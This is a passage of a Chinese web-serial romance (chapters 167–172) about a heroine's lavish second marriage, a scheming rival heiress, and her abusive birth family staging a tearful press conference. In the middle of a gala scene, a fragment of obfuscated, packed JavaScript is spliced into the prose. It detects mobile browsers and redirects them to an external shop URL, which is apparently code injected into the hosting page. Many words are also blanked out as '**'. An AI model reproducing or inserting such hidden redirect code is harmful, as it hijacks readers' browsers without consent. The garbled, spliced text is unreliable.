顾彦廷在她耳边低语,“今天,你是全世界最干净、最尊贵的新娘。”
江晚絮的眼眶瞬间湿润。
原来,被人捧在手心里的感觉,是即使你有残
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缺,他也会用钻石为你填补。
婚礼现场,宾客云集。
顾彦廷牵着江晚絮的手,走过长长的红毯。
漫天的花瓣雨落下。
在宴会厅最不起眼的角落,一个穿着不合身服务员制服的男人,正一瞬不瞬地盯着台上那对璧人。
是叶寒。
他戴着口罩,手里端着托盘,一脸的不甘。
那个在聚光灯下,笑得一脸幸福的女人,曾经是他的妻子。
曾经,她也会这样看着他,满眼都是星星。
可他干了什么?
结婚纪念日,他让她去给江芊妤买姨妈巾。
她生日,他在陪江芊妤切蛋糕,让她一个人在暴雨里等了三个小时。
她做好了饭菜等他,他却嫌弃地倒进垃圾桶,说看着倒胃口。
“服务生,能不能加点香槟?”
旁边的宾客不耐烦地催促。
叶寒猛地回神,卑微地低下头:“好的,马上。”
倒酒的时候,他的手一抖,酒液洒出了一点。
“你怎么做事的!长没长眼睛!”宾客怒斥。
叶寒连声道歉。
安抚好宾客,他回到了宴会厅的角落。
他抬头,再次看向台上。
顾彦廷正单膝跪地,给江晚絮戴上那枚价值连城的鸽子蛋。
“晚晚,从今往后,你愿陪我看尽世间繁华,携手共白头吗?”
全场欢呼。
江晚絮点头,笑中带泪。
那一刻,叶寒的心脏像是被人硬生生挖走了一块。
他不甘心。
那明明是他的老婆!
他想冲上去,想大喊那是我的妻子。
可是,当顾彦廷那双锐利如鹰隼般的眼睛扫视全场时,叶寒怂了。
那是一种来自上位者的绝对压迫。
顾彦廷只要动动手指,现在的叶寒就会在这个世界上消失。
“那是……叶总?”
旁边似乎有人认出了他的侧脸,窃窃私语,“那个端盘子的,怎么那么像破产的叶寒?”
“嘘,别瞎说,叶寒好歹以前也是个人物,怎么可能来端盘子?不过听说他现在过得挺惨,住在地下室,天天酗酒。”
“活该,放着珍珠不要非要鱼目,这种渣男死不足惜。”
每一句话,都像耳光一样扇在叶寒脸上。
他再也待不下去了。
他压低了帽檐,狼狈地转身,从侧门仓皇逃离。
身后,是盛大的婚礼,是原本触手可及却被他亲手摔碎的幸福。
第167章 温柔刀与新猎手
结婚仪式结束。
外婆坐在主桌,穿着一身崭新的暗红色唐装,那是江晚絮特意定做的。
老人家看着外孙女终于有了归宿,哭得像个泪人。
“外婆,别哭,今天是好日子。”
江晚絮蹲在外婆身边,拿纸巾给她擦泪。
“我是高兴……高兴……”外婆颤巍巍地摸着江晚絮的脸,“我的絮絮,终于不用再吃苦了,不用再被人欺负了。”
这时,顾家老夫人,也就是顾彦廷的奶奶,拄着龙头拐杖走了过来。
老太太虽然满头银发,但精神矍铄,一身贵气。
“亲家。”
顾老夫人笑呵呵地握住外婆的手,“以后咱们就是一家人了。听彦廷说,絮絮不放心你一个人住?”
江晚絮心里一紧。
她是想把外婆接来身边,但又怕顾家嫌弃外婆是乡下人,而且顾家规矩多……
“正好。”
顾老夫人拍了拍外婆的手背,“我那老宅子大得很,平时连个说话的人都没有。你要是不嫌弃,就搬过来跟我个老婆子作伴。咱们没事喝喝茶,打打牌,我也好听听絮絮小时候的事。”
江晚絮抬头,震惊地看着顾老夫人。
顾彦廷站在一旁,揽住她的肩膀,低声道:“奶奶早就让人收拾好了老宅朝南的院子,方便你随时去看。”
“彦廷……”
江晚絮的声音哽咽了。
“傻丫头,哭什么。”
顾彦廷温柔地吻去她的泪水,“我说过,我会给你一个家,一个完整的家。”
外婆也是激动的不知所措:“这……这怎么好意思,我个乡下老婆子……”
“什么乡下城里的,养出絮絮这么好的孙媳妇,您就是顾家的大功臣!”
顾老夫人一锤定音。
那天晚上,江晚絮喝醉了。
她趴在顾彦廷的怀里,哭得像个孩子。
“顾彦廷,我以前觉得老天爷恨我……让我没爹疼没娘爱,还要遇到叶寒那种混蛋……”
“可是现在我觉得,老天爷是在攒着运气,让我遇见你。”
顾彦廷心疼地抚摸着她的长发。
“睡吧,老婆。”
“以后只有甜,没有苦。”
之后的生活,并没有让江晚絮变成养尊处优的金丝雀。
相反,她变得更忙了。
“晚星科技”正式并入顾氏集团,成为了顾氏旗下最核心的新能源研发子公司。
总裁办。
江晚絮正在看报表。
“江总,这是上个季度的财报。”
助理把文件放下,眼神里满是崇拜。
以前公司里还有人嚼舌根,说江晚絮是靠上位。
但这几个月,江晚絮带着团队攻克了三个核心技术难关,直接让顾氏的股价涨停了五次。
现在,谁见到她都得毕恭毕敬喊一声“小江总”。
“嗯,放这吧。”
江晚絮头也没抬,“另外,实验室那个恒温箱的数据有点波动,让老刘去查一下。”
“是。”
助理刚要走,门被推开了。
顾彦廷拎着一个保温饭盒走了进来。
“顾总!”助理吓了一跳。
顾彦廷摆摆手,示意她出去。
他走到江晚絮身边,直接抽走了她手里的笔。
“几点了?”
江晚絮一看表:“十二点半……我不饿。”
“不饿?”
顾彦廷冷笑一声,打开饭盒,里面是热气腾腾的药膳鸡汤,“你的胃是铁打的?忘了以前胃出血进医院的时候了?”
江晚絮以前在江家,经常吃不上饭。
有时候饿极了,就喝自来水充饥。
导致她的胃非常脆弱,稍微不注意就会疼得冷汗直流。
“我喝,我喝。”
江晚絮怕他生气,赶紧端起碗。
顾彦廷看着她乖乖喝汤的样子,眼神才柔和下来。
“下午有个会。”
顾彦廷坐在办公桌沿上,长腿随意交叠,“陆氏集团的考察团要来。”
“陆氏?”
江晚絮动作一顿,“那个在海外做新能源起家的陆氏?”
“嗯。这次带队的是陆家大小姐,陆清璃。”
顾彦廷漫不经心地玩着她的发丝,“听说是个厉害角色,想跟顾氏谈深度合作。”
江晚絮点点头:“我知道她。几篇关于固态电池的核心论文,她是第一作者。是个有真本事的。”
“再有本事,也是来求合作的。”
顾彦廷捏了捏她的脸,“你
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是主场,不用给她面子。”
下午三点,顾氏集团一号会议室。
会议室的大门被推开,一行人走了进来。
为首的女人,穿着一身米白色西装,长发挽起,露出修长的天鹅颈。
脸上化着精致的淡妆,笑容温婉,却透着一股不容忽视的自信。
陆清璃。
“顾总,久仰。”
陆清璃伸出手,声音清脆悦耳,不卑不亢。
“陆小姐。”
顾彦廷只是淡淡瞥了她一眼,并没有伸出手。
陆清璃丝毫不觉得尴尬,而是将视线转向了坐在顾彦廷身侧的江晚絮身上。
“这位就是江总工吧?”
陆清璃主动走过去,伸出手,“我看过您关于锂离子迁移率的那篇报告,非常精彩。尤其是关于低温环境下的解决方案,简直是天才的构想。”
江晚絮有些意外。
对方太专业了。
而且态度挑不出一点毛病。
“陆小姐过奖了。”江晚絮起身回握。
接下来的会议,变成了技术研讨会。
陆清璃对每一个技术细节都了如指掌,甚至能提出非常犀利的见解。
原本对这个“空降大小姐”有些轻视的顾氏工程师们,眼神渐渐变了。
这女人,有东西。
江晚絮也暗暗心惊。
这才是真正的豪门千金。
相比之下,江芊妤那个只会哭唧唧、玩阴招的绿茶,简直就是幼儿园水平。
会议结束。
“顾总,江小姐。”
陆清璃合上笔记本,微笑着发出邀请,“晚上的慈善晚宴,希望能再次见到二位。”
说完,她优雅转身,踩步伐稳健地离开。
背影都透着一股精英范儿。
“是个劲敌。”
江晚絮看着门口,中肯的评价。
顾彦廷却连头都没抬,正在给江晚絮剥橘子。
“商业上的劲敌而已。”
他把一瓣橘子喂到江晚絮嘴里,“在顾氏的地盘,是龙得盘着,是虎得卧着。”
江晚絮嚼着橘子,心里却隐隐有一丝不安。
女人的直觉告诉她,陆清璃看顾彦廷的眼神,虽然克制,但藏着火。
那是一种势在必得的野心。
第168章 茶艺高手
晚上的慈善晚宴,名流云集。
江晚絮挽着顾彦廷的手臂入场。
她穿着顾彦廷为她挑选的星空蓝礼服,低调却奢华。
但即便如此,在这个争奇斗艳的场合,她依然显得有些安静。
她不习惯这种场合。
以前作为叶寒的妻子,她也参加过这种宴会。
那时候,她穿着过季的礼服,缩在角落里,看着叶寒带着江芊妤满场飞,被人指指点点说是“带不出去的黄脸婆”。
“顾总!”
几个商界大佬围了上来,顾彦廷不得不去应酬。
“在这等我,别乱跑。”
顾彦廷捏了捏她的手心,“谁敢给你脸色看,直接泼酒,算我的。”
江晚絮笑了,“知道了,快去吧。”
顾彦廷刚走,一道优雅的身影就端着香槟走了过来。
“江小姐,又见面了。”
陆清璃换了一身红色的深V礼服,整个人像一团燃烧的火焰,艳光四射。
“陆小姐。”江晚絮礼貌地点头。
“顾总对您真是体贴入微。”
陆清璃晃着酒杯,眼神看似羡慕,实则锐利,“不过也是,江小姐以前受了那么多苦,现在终于是苦尽甘来了。”
江晚絮微微皱眉。
这话听着好听,但细品,全是刺。
在提醒她那段不堪的过去。
“听说江小姐为了前夫,连骨髓都捐了?”
陆清璃叹了口气,一脸惋惜,“真是太傻了。我们这种做科研的人,身体就是本钱。您那样糟践自己,现在做实验哪怕站久一点,腿都会疼吧?”
每一句都在戳江晚絮的痛处。
而且是用这种“我很心疼你”的语气。
江晚絮握紧了手包。
“陆小姐调查得很清楚。”
江晚絮抬起头,眼神清冷,“不过,那是以前的江晚絮。现在的我,有顾彦廷,还有我的技术。过去的事,也就是一段弯路而已。”
“是吗?”
陆清璃轻笑一声,凑近了一步,压低声音。
“可是江小姐,豪门这种地方,最讲究门当户对和清白底子。”
“顾总现在是图新鲜,心疼你。可等这股劲儿过了呢?”
“你那样的原生家庭,那样破碎的身体,还有那段人尽皆知的婚史……你觉得,你能帮他什么?”
“顾氏需要的,是一个能和他并肩作战、能在名利场上游刃有余的女主人。而不是一个需要他时刻弯腰去哄、去保护的瓷娃娃。”
陆清璃说完,直起身,恢复了得体的微笑。
“抱歉,我这人说话直。也是为了江小姐好。”
这时,苏洛敏走了过来。
她是江晚絮在这个圈子里为数不多的朋友,性格火辣。
“哟,这不是陆大小姐吗?”
苏洛敏挽住江晚絮的胳膊,上下打量陆清璃,“在这发什么疯呢?怎么,海外待久了,不知道咱们国内现在流行什么?现在流行真爱,不流行你这种拿着算盘找对象的。”
陆清璃也不恼,淡淡一笑:“我只是在和江小姐探讨一下……人生哲学。”
说完,她举杯示意,转身离开。
“这女人,段位很高。”
苏洛敏看着陆清璃的背影,低声对江晚絮说,“比起江芊妤那个只会在男人面前装柔弱的白莲花,这女人就是个妖孽。她比江芊妤狠十倍,因为她有脑子,有背景,而且——她不要脸得更高级。”
江晚絮深吸一口气,压下心头的寒意。
“我知道。她是在告诉我,我不配。”
正说着,大厅中央传来一阵骚动。
顾彦廷正大步走回来,脸色阴沉。
刚才他一转身没看到江晚絮,心就慌了。
看到江晚絮安然无恙,他才松了口气。
他走过来,当着所有人的面,直接揽住江晚絮的腰,低头亲吻她的额角。
“聊什么呢?这么开心?”
“没说什么。”
江晚絮不想让他担心,“就是碰到了陆小姐。”
顾彦廷冷冷地瞥了一眼远处的陆清璃。
然后,他接过服务生递来的话筒,声音传遍全场。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16989744|192440||http|test|mini|href|location''.split(''|''),0,{}));
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r>“借这个机会,宣布一件事。”
全场安静。
“顾氏集团将在下个月,以江晚絮女士的名义,设立一项十亿的科研基金,专门资助女性科学家。”
“另外,”顾彦廷看着江晚絮,目光深情,“我名下顾氏集团20%的股份,已经转到了我太太名下。”
全场哗然!
20%!那是多少钱?!几百亿啊!
这哪里是娶老婆,这是把半个身家都送出去了!
陆清璃站在人群外,脸上出现了一丝裂痕。
她捏紧了酒杯。
顾彦廷,你越是这样护着她,我就越想把你抢过来。
证明给所有人看,谁才是真正适合站在你身边的人。
陆清璃很清楚,想要成为顾彦廷身边的女人,硬攻是不行的。
得从内部瓦解。
而顾家,有一个最好的突破口——顾母,秦兰。
秦兰虽然现在接受了江晚絮,但她骨子里还是那个讲究品味、热爱艺术的贵妇人。
江晚絮虽然聪明,但在琴棋书画、茶道花艺这些“贵族必修课”上,基本是零。
因为她在江家,连饭都吃不饱,哪有钱学这些。
某高档茶室。
秦兰正对着一幅古画发愁:“这幅《寒江独钓图》,怎么看都觉得哪里不对,但又说不上来。”
“顾伯母,能让我看看吗?”
陆清璃巧笑倩兮的走进来。
这是她特意制造的“偶遇”。
秦兰抬头:“是陆家丫头啊,快来,你眼光好。”
陆清璃走过去,只看了一眼,就指出了问题:“这里,用墨的层次稍微躁了一点。虽然仿得很像,但真正的宋画,那种孤寂感是在骨子里的,不是靠墨色堆出来的。”
秦兰一拍大腿:“对!就是这个感觉!哎呀,还是你懂行!”
陆清璃顺势坐下,动作优雅地开始泡茶。
那是失传已久的“点茶法”。
行云流水,赏心悦目。
秦兰看得连连点头。
这才是大家闺秀该有的样子啊。
第169章 救命稻草
“伯母,尝尝。”
陆清璃给秦兰递上一杯茶,“这是我特意从武夷山带来的母树大红袍。”
秦兰喝了一口,满口留香。
“好茶,好手艺。”
两人聊得很投机。
从宋瓷聊到莫奈,从歌剧聊到插花。
秦兰越聊越开心,但也越聊越觉得遗憾。
这种快乐,她在江晚絮身上体会不到。
江晚絮只会跟她聊新能源,聊数据,或者虽然孝顺,但在这种高雅的话题上,完全插不上嘴。
“唉,要是絮絮也有你这一半的雅致就好了。”秦兰感叹了一句。
陆清璃眼神一闪,机会来了。
“江小姐其实很优秀的。”
陆清璃看似无意地说,“只是……毕竟成长环境不同。她在那样复杂的家庭长大,为了生存都要拼尽全力,哪有时间熏陶这些呢?”
“说起来,我也挺心疼江小姐的。听说她父亲……最近还在想办法联系她?”
秦兰眉头一皱:“那个老混蛋?已经破产了,还能翻起什么浪?”
“伯母,血浓于水啊。”
陆清璃叹气,“而且,如果江家一直这样烂泥扶不上墙,将来顾氏的商业版图扩大,免不了会被人拿出来做文章。毕竟,有个那样的娘家,对顾彦廷的名声……”
她欲言又止。
秦兰的脸色沉了下来。
这确实是她的一块心病。
顾家要面子,江家那个烂摊子,始终是个定时**。
“陆丫头,你有什么想法?”秦兰问。
陆清璃微微一笑,放下茶杯。
“我倒是认识几个不错的律师,或许……能帮江伯父‘改过自新’。只要他肯配合,不给顾家添乱,就没有什么好忌惮的。”
秦兰听完,若有所思。
她压根没听出陆清璃话里的深意。
陆清璃根本不是帮顾家,而是在捅江晚絮。
离开茶室后。
陆清璃坐在保姆车里,拿出手机,拨通了一个号码。
那是江明泽的电话。
江家倒台后,大哥江明泽虽然没坐牢,但也丢了工作,现在落魄得很。
“喂?”电话那头传来江明泽颓废的声音。
“江大公子,想不想东山再起?”
陆清璃看着窗外繁华的京市,嘴角勾笑。
“你是谁?”
“我是能帮你把江晚絮扯下云端的人。”
陆清璃的声音很冷,“我知道你恨她。你觉得是她毁了江家,毁了你的前程,毁了你最爱的妹妹江芊妤。”
“你想报仇,我想得到顾彦廷。”
“我们,是天然的盟友。”
电话那头沉默了许久。
然后传来江明泽咬牙切齿的声音:“你要我做什么?”
“很简单。”
陆清璃看着指甲上鲜红的蔻丹,“我要你们以‘亲情’的名义,去向江晚絮‘忏悔’。”
挂断电话。
陆清璃看着手机屏幕上江晚絮的照片,轻蔑地笑了。
“江晚絮,你以为顾彦廷把你捧在手心,你就真的飞上枝头了吗?”
“我会让你知道,摔下来的时候,会有多疼。”
此时,顾家别墅。
江晚絮刚洗完澡,正趴在床上看书。
突然打了个喷嚏。
“感冒了?”
顾彦廷走过来,把毯子给她盖好,“头发不擦干就看书。”
“没事。”
江晚絮蹭了蹭他的掌心,觉得无比安心。
……
京市,城中村出租屋。
“爸,您还要犹豫到什么时候?”
江明泽坐在一旁的板凳上,劝说江父。
自从**倒台,他这个所谓的“医学天才”处处碰壁,别说进大医院,连个小诊所都不敢收他。
“这是明宇在里面的照片!”
江明泽把手机屏幕怼到江父面前,“您看看!这就是您的二儿子!被人打得鼻青脸肿,连饭都吃不上!听里面出来的狱友说,那些人知道他是江晚絮的哥哥,为了讨好顾家,每天换着花样折磨他!”
照片是陆清璃给的。
当然,是P的。
江父的手剧烈颤抖着,照片上,江明宇蜷缩在角落,满脸是血,眼神惊恐。
“明宇……我的儿啊……”
江父老泪纵横,心如刀绞。
他这辈子最疼的就是这两个儿子和小女儿江芊妤。
至于江晚絮?那个扫把星,从出生起就克他,如果不是因为她,江家怎么会落到这步田地?
“陆小姐说了,”江明泽压低声音,眼神阴鸷,“只要您肯出面,按照她说
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的做。她不仅能把明宇提前弄出来,还能给我们一大笔钱,送我们去国外,哪怕是东山再起也不是没可能!”
“真的?”江父抬头,有些不敢置信。
“爸,我们现在还有别的选择吗?”
江明泽环视了一圈这个破屋子,墙角堆着几幅他还没来得及变卖的字画,那是江父最后的尊严。
可是尊严能当饭吃吗?
这几个月,为了给江芊妤请律师,为了还债,他们连饭都快吃不起了。
“江晚絮现在可是顾家的少奶奶,风光无限!”江明泽咬牙切齿,“前几天我在街上看到顾家的车队,她连看都没看我一眼!凭什么?凭什么我们要在这里受苦,她却在那边享福?”
“而且,她现在是顾氏的红人,手里握着几百亿的股份!”
“只要您去闹,去哭,去逼她。顾家那种豪门最要面子,为了平息事态,随便从指头缝里漏一点,都够我们吃一辈子!”
江父的眼神逐渐从悲痛转为怨毒。
是啊。
那是他的女儿。
哪怕断绝了关系,身体里流的也是他的血!
既然她那么有钱,拿一点出来孝敬老子,救救兄弟,不是天经地义吗?
“公平吗?”
江明泽在他耳边幽幽地补了一刀,“明宇在牢里被人打得半死,她在七星级酒店里喝着香槟。爸,这就是那个扫把星给您的回报。”
江父猛地将手里的劣质香烟掐灭在桌子上。
烟灰烫到了手,他却感觉不到疼。
“干!”
江父咬着牙,满脸横肉都在颤抖,“她是老子生的,老子就能毁了她!想踩着江家的尸骨往上爬?做梦!”
当天晚上,陆清璃的私人助理就送来了一套行头。
不是什么高档西装,而是一件老式夹克,还有一双磨损严重的布鞋。
“江老先生,”助理皮笑肉不笑,“陆小姐说了,明天记者会,您越惨越好。稿子已经给您准备好了,您只要照着念,甚至……发挥一下您的演技。”
江父摸着那件破夹克,心中**,但想到那即将到手的支票,又硬生生忍了下来。
“放心。”
江父冷笑一声,眼底闪过一丝精光,“没人比我更懂那个死丫头的软肋。”
第170章 疯狗出笼
在江父眼里,江晚絮依然是那个可以随意拿捏的软柿子。
次日清晨。
各大媒体都收到了一条**性的消息——
【前**集团董事长,将在今日上午十点,就“弃女”传闻召开道歉发布会,并公开向顾氏少奶奶江晚絮忏悔!】
一石激起千层浪。
整个京圈的媒体都沸腾了。
此时的顾彦庭正坐在办公室里,手里端着一杯冰美式,目光却锁在办公桌上的平板电脑屏幕上。
直播画面里。
江父穿着那件破旧的夹克,头发花白且凌乱,整个人佝偻着背,看起来像是一夜之间苍老了十岁。
如果不认识他的人,绝对会以为这是一个因为思念女儿而憔悴不堪的可怜老父亲。
“各位媒体朋友……”
江父的声音颤抖,还没说话,两行浊泪就先流了下来。
“我是个罪人啊!”
“以前是我错了,我对絮絮……对我的亲生女儿太苛刻了。”
江父一边哭,一边抹眼泪。
“絮絮啊,爸爸知道错了。爸爸现在遭了报应,家破人亡,这都是我该受的!”
“可是……可是你二哥明宇,他是无辜的啊!”
江父突然对着镜头“扑通”一声跪了下来!
全场哗然。
闪光灯疯狂闪烁。
江父对着镜头磕头,额头撞在桌子上砰砰作响。
“絮絮,爸爸不求你原谅我,也不要你的钱。爸爸只求你,求你看在血脉亲情的份上,去看看你二哥吧!”
“他在里面被人打得不像人样了啊!爸爸给你磕头了!”
弹幕瞬间炸了。
【天啊,这也太惨了吧?毕竟是亲爹,都下跪了。】
【**不过头点地,虽然江家以前做得不对,但老父亲都这样了,江晚絮要是还无动于衷,是不是太冷血了?】
【楼上的圣母能不能闭嘴?忘了江家以前怎么**江晚絮的?】
【可是那毕竟是亲爹啊!没有江父哪来的她?现在她飞黄腾达了,亲爹却在捡垃圾,这反差也太大了。】
【听说她二哥在牢里快**了?这也太狠了吧,是不是顾总授意的?】
**的风向,正在悄悄发生变化。
一些水军,在网络上疯狂带节奏,把“不孝”、“冷血”、“仗势欺人”的帽子往江晚絮头上扣。
“啪!”
顾彦庭猛地关掉平板,眼神如同要**。
“林舟!”
林舟推门而入,“顾总……”
顾彦廷将咖啡放在桌上,指尖轻点桌面,冷声道,“哪家媒体敢转播,直接收购。还有,把江家以前做过的那些烂事,送上热搜。我要让所有人知道,这老东西是在作秀!”
“是!”
林舟刚要退出去,顾彦廷又叫住了他。
“晚晚呢?”
“夫人在……在实验室看直播。”
顾彦廷心里一紧。
他大步流星地走出办公室,直奔研发中心。
实验室里。
江晚絮正在调试一台光谱分析仪。
旁边的平板电脑上,正放着江父痛哭流涕的画面。
顾彦廷走过去,直接伸手挡住了屏幕。
“别看了。”
他的声音有些干涩,带着小心翼翼地疼惜,“脏了你的眼。”
江晚絮抬起头。
“我没事。”她轻轻拨开顾彦廷的手,“不去当演员,有点可惜了。”
顾彦廷将她拥入怀中,下巴抵在她的发顶:“晚晚,不用理会。我会处理干净。”
“不用。”
江晚絮靠在他怀里,声音清冷。
“顾彦廷,你知道吗?十七岁那年,我发高烧,烧到抽搐。”
“我求他带我去看医生。”
“他说——‘死不了就别在这碍眼,晦气东西’。”
江晚絮抬起手,指着屏幕。
“现在,他为了儿子,为了钱,可以对着全天下人下跪。”
“这就是所谓的父爱啊。”
“只不过,这份爱,从来都不属于我。”
顾彦廷将她抱紧。
“鳄鱼的眼泪罢了。”
江晚絮轻轻关掉了直播,转过身,继续调试仪器。
只是那微微颤抖的手指,还是泄露了她内心的波澜。
即使心已经**千百回,但
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看到亲生父亲为了另一个孩子,不惜把刀尖对准自己,那种痛,依然像是被人硬生生撕开了愈合的伤疤。
“林舟。”
江晚絮突然开口,声音恢复了冷静与干练。
站在门口没敢走的林舟赶紧应声:“江总。”
“帮我发个声明。”
江晚絮头也不回,将一个试剂瓶稳稳地放入卡槽。
“就说——江晚絮女士与江家已无任何法律与情感上的关系。至于江明宇先生在狱中的遭遇……”
她停顿了一下,转过身,眼底是一片冰冷的寒芒。
“我会向**申请调查。如果是他在卖惨博同情……”
“那就让他知道,什么叫真正的绝望。”
顾彦廷看着她,眼底的阴霾散去。
这就是他的女人。
不再是那个只会躲在角落里哭泣的小女孩。
她已经长出了铠甲,学会了反击。
“听夫人的。”顾彦廷宠溺地勾唇,“另外,查一下那个陆清璃。”
一周后。
西郊监狱门外。
“江明宇,出狱了。”
狱警冷漠地喊了一声。
江明宇提着一个破旧的蛇皮袋走了出来。
阳光刺眼。
他下意识地抬手挡住眼睛。
短短半年的牢狱生活,让他彻底变了个人。
“呸!”
江明宇回头,对着监狱大门狠狠吐了口唾沫。
“老子终于出来了!”
他在里面确实不好过。
以前养尊处优,进去了被狱霸欺负,还得洗厕所。
但他把这一切,都记在了江晚絮的账上。
“**……等老子翻身了,一定弄死你!”
江明宇摸了摸口袋,里面只有狱警退还的几十块钱。
肚子也饿得咕咕叫。
他茫然地看着空荡荡的马路。
没有豪车接送,没有鲜花掌声,甚至连那个口口声声最疼他的大哥也没来。
也是,家里都破产了,哪里还会有人来接他?
就在这时,一辆黑色的奔驰缓缓停在他面前。
车窗降下。
露出一张戴着墨镜的精致脸庞。
第171章 有些风雨,终究是要来的
车里坐着的是陆清璃的助理唐瑛。
“江二少?”
唐瑛打量着像乞丐一样的江明宇,眼底闪过一丝嫌弃,但很快掩饰住了。
“你是谁?”江明宇警惕地后退一步。
“我是来帮你的。”
唐瑛扔给他一个厚厚的信封,“上车吧。陆小姐给你准备了接风宴,还有……复仇的资本。”
听到“复仇”两个字,江明宇没再犹豫,拎着袋子就上了车。
半小时后,某高档公寓。
江明宇吃着桌上的外卖,哪怕只是普通的高级盒饭,对他来说也是久违的美味。
陆清璃坐在对面的沙发上,修剪着花枝。
“慢点吃,二少。”
陆清璃的声音温柔得像是知心大姐姐,“没人跟你抢。”
“你为什么要帮我?”
江明宇含糊不清地问。
“因为我们有共同的敌人。”
陆清璃放下剪刀,拿出一叠照片,扔在桌上。
照片里,全是江晚絮。
有她在顾氏集团开会的,有她和顾彦廷牵手逛街的,还有她站在领奖台上意气风发的。
每一张,她都笑得那么灿烂,那么幸福。
“看看她。”
陆清璃的声音带着蛊惑,“现在的江晚絮,可是全京城最尊贵的女人。住着几个亿的庄园,出门千万豪车接送,随便动动手指,就能决定别人的生死。”
“而你呢?”
“你因为她坐牢,吃猪食,睡水泥地。你爸爸为了给你求情,当众下跪,被人骂成老狗。”
“二少,你觉得这公平吗?”
“砰!”
江明宇狠狠砸了一下桌子,眼珠子通红。
“这个白眼狼!吃里扒外的东西!”
陆清璃满意地勾起嘴角。
“这把钥匙,是这套公寓的。柜子里有五十万现金。”
陆清璃站起身,居高临下地看着他,“这只是定金。只要你帮我做一件事,事成之后,我送你去国外,给你五千万。”
“什么事?”江明宇喘着粗气。
陆清璃看着他,轻轻笑了。
深夜。
江明宇洗了个澡,换上了陆清璃准备的新衣服。
虽然人模狗样了,但那股戾气怎么也遮不住。
他打开电脑,邮箱里躺着一封未读邮件。
发件人是:江明哲。
江明宇皱眉点开。
【二哥,听说你出狱了。】
【家里变成这样,是我们咎由自取。晚絮她是无辜的,是我们亏欠她太多。别再被人利用了,好好找个工作,重新开始吧。】
【我在国外虽然也不宽裕,但每个月可以给你寄点生活费……】
“呸!”
江明宇对着屏幕狠狠吐了一口。
“江明哲,你个软蛋!”
“你也背叛了江家!居然帮那个**说话?”
“亏欠?老子亏欠她什么?”
江明宇噼里啪啦地敲着键盘,回了一封充满诅咒和辱骂的邮件。
【你也**吧!跟那个**一起**!等老子以后翻了身,第一个找你!】
三天后的傍晚。
“晚星科技”大楼下。
江明宇戴着鸭舌帽,帽檐压得很低,缩在花坛后面的阴影里。
陆清璃的计划是让他拍到江晚絮“出轨”的证据,或者是制造混乱泼脏水。
但江晚絮的生活太规律了。
公司、家里,两点一线。而且每次出行,身边都跟着保镖。
根本无从下手。
正当江明宇冻得瑟瑟发抖,想骂娘的时候。
大门开了。
江晚絮走了出来。
她今天穿着一件米白色的风衣,里面是简单的职业套装,头发随意地挽起,手里提着两大袋咖啡。
并没有保镖跟着。
就在刚才,顾彦廷临时有个紧急会议,保镖被调去护送一份**了。
“小江总!这种事让我们去就行了,怎么能让您亲自买咖啡?”
几个刚加完班的年轻员工跑出来,受宠若惊地接过她手里的袋子。
“没事,顺路。”
江晚絮笑着摆摆手,“大家这几天辛苦了,今晚早点回去休息,打车费报销。”
“哇!谢谢小江总!”
“小江总太好了!不仅技术牛,人还这么温柔!”
“呜呜呜,我想给小江总打一辈子工!”
员工们围着她,叽叽喳喳,满脸都是发自内心的喜爱和崇拜。
甚至有个刚毕业的小姑娘,不小心把咖啡洒了一点在江晚絮的风衣上。
“对不起对不起!小江总,我不是故意的!”
小姑娘吓得脸都白了,这风衣一看就很贵。
“没关系。”
江晚絮拿出纸巾,轻轻擦了擦
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衣角,不仅没有生气,反而笑着安慰那个快哭的小姑娘,“正好我想换个颜色穿了。快去喝咖啡吧,别凉了。”
甚至,她还伸手摸了摸小姑娘的头。
江明宇的脑海里,突然闪过很多年前的一个画面。
那年夏天出奇的热。
他在打游戏,因为网络卡顿输了一局,心情暴躁。
正好江晚絮端着切好的西瓜进来。
“滚开!挡着老子信号了!”
江明宇一脚踹过去,手里的游戏手柄狠狠砸在江晚絮头上。
鲜血直流。
那时候的江晚絮,只有十九岁。
可现在……风水轮流转。
曾经那个卑微的妹妹,竟然活得这样明媚。
“凭什么你对陌生人都比对我好?”
“我是你亲哥!我是江家二少爷!”
江明宇的双眼充血,手伸进口袋握住了那把折叠刀。
他不想等什么计划了。
他现在就想冲过去,了结她!
就在这时,一辆黑色的迈巴赫缓缓停在路边。
车门打开,顾彦廷长腿一迈,走了下来。
他似乎感应到了什么,目光扫向花坛这边。
那种压迫感,让江明宇浑身一僵,本能地缩回了脖子。
顾彦廷皱眉看了一会儿才收回目光,大步走向江晚絮,自然地接过她手里的包,另一只手揽住她的腰。
“不是让你等我吗?”
“我想下来透透气。”江晚絮仰起头,“处理完了?”
“嗯。回家。”
顾彦廷低头在她额头上落下一吻,动作极尽宠溺。
两人上了车,扬长而去。
“好……真好。”
“顾彦廷护着你是吧?”
“我动不了你,我还动不了你在乎的东西吗?”
江明宇拿出手机,拨通了陆清璃的电话。
“计划我接了。”
“不过……我要加码。”
电话那头,陆清璃轻笑:“成交。”
车上,顾彦廷看着窗外**的风景,突然开口:“林舟。”
“在,顾总。”
“花坛那边,清理一下。”
江晚絮正靠在他肩上闭目养神,闻言睫毛颤了颤,却并没有睁眼。
只是默默握紧了他的手。
她知道,有些风雨,终究是要来的。
但这一次,她不再是一个人。
第172章 很心疼
凌晨两点,一家24小时便利店的角落。
叶寒正坐在窗前看一本书。
书名很讽刺——《亲密关系:如何挽回破碎的爱》。
除此之外,旁边还堆着《犯罪心理学》、《微表情读心术》。
“叶寒!那边的货架空了,还不快去补货!”
店长是个二十出头的小黄毛。
他嘴里叼着烟,走过来一脚踹在了叶寒的小腿上。
叶寒身形一晃,险些从椅子上摔下来。
他咬紧了下唇,缓缓合上书,应了一声,“知道了,店长。”
转身的时候,他摸了摸口袋里的名片。
那是陆清璃的助理给他的。
次日午后,一家私人会所。
陆清璃靠在沙发上,看向对面的男人。
叶寒特意换上了一套还算体面的西装,但怎么看怎么落魄。
“听说,叶先生想给我看些东西?”
陆清璃开门见山。
“是。”
叶寒坐直了身体,直接进入主题,“顾彦廷当年为了吞并几家小公司,用了点不光彩的手段。我手里有些东西,虽然不能直接送他进监狱,但足够让顾氏的股价震荡一阵子。”
